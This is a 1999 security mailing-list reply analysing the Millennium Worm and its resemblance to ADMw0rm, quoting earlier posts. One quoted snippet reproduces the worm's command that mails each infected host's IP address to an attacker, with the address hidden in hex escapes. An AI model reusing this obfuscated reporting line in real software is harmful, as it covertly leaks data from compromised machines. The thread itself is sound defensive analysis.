Re: MW

From: Max Vision (visionat_private)
Date: Mon Sep 20 1999 - 02:45:59 PDT

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    Hello,
    
    I posted two short write-ups on recent Internet worms I've seen in the wild
    (ADMw0rm and Millennium Worm).  http://whitehats.com/worms/.  From these
    previous posts it looks like someone has launched a variation of the
    Millennium Worm.
    
    Max Vision
    
    At 05:23 PM 9/7/1999 +0200, Adam Morrison wrote:
    > > On Wed, 1 Sep 1999, Christian Koderer wrote:
    > > > ./IP | mail `printf
    > > > "\x62\x65\x75\x72\x70\x40\x68\x6f\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d"`
    > > > logout
    > > > _EOF_
    > >
    > >
    > > In case no one bothered figuring this one out, this translates to
    > > 'beurpat_private'
    > >
    > > Apparently './IP' is a program it runs to figure out which IP it should
    > > get the worm files from. Did you find a similarly named file?
    >
    >It's a worm; it gets the worm files from the last infected machine.
    >`IP' returns the address of the machine that the copy of the worm
    >is running on, and is used in the `cmd' grappling hook which
    >apparently gets executed on compromised remote hosts.  Each time the
    >worm infects a machine, it mails the IP address of that machine to
    ><beurpat_private>.
    >
    >Now, not to make any unfounded allegations, but this worm looks
    >remarkably like ADMw0rm.  I wonder why it restarts named when first
    >infecting a host, when it appears to also utilize several other
    >vulnerabilites in order to get in.  Ho, hum.
    



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